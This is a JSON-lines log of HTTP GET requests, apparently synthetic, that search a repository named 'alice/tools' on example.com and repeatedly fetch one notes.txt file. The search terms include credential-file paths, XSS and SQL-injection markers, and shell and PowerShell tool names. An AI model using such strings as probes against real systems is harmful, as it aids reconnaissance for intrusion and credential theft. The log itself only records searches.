{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fetc%2Fpasswd&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%2Fetc%2Fpasswd&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=eval%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=eval%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=chmod%20%2Bx&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=chmod%20%2Bx&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=echo%20%24PATH&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=echo%20%24PATH&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=java.lang.Runtime&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=java.lang.Runtime&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=document.cookie&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=document.cookie&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=alert%281%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=alert%281%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=__proto__&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=__proto__&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=Invoke-WebRequest&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=Invoke-WebRequest&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=sudo%20apt%20install&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=sudo%20apt%20install&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=~%2F.ssh%2Fconfig&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=~%2F.ssh%2Fconfig&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
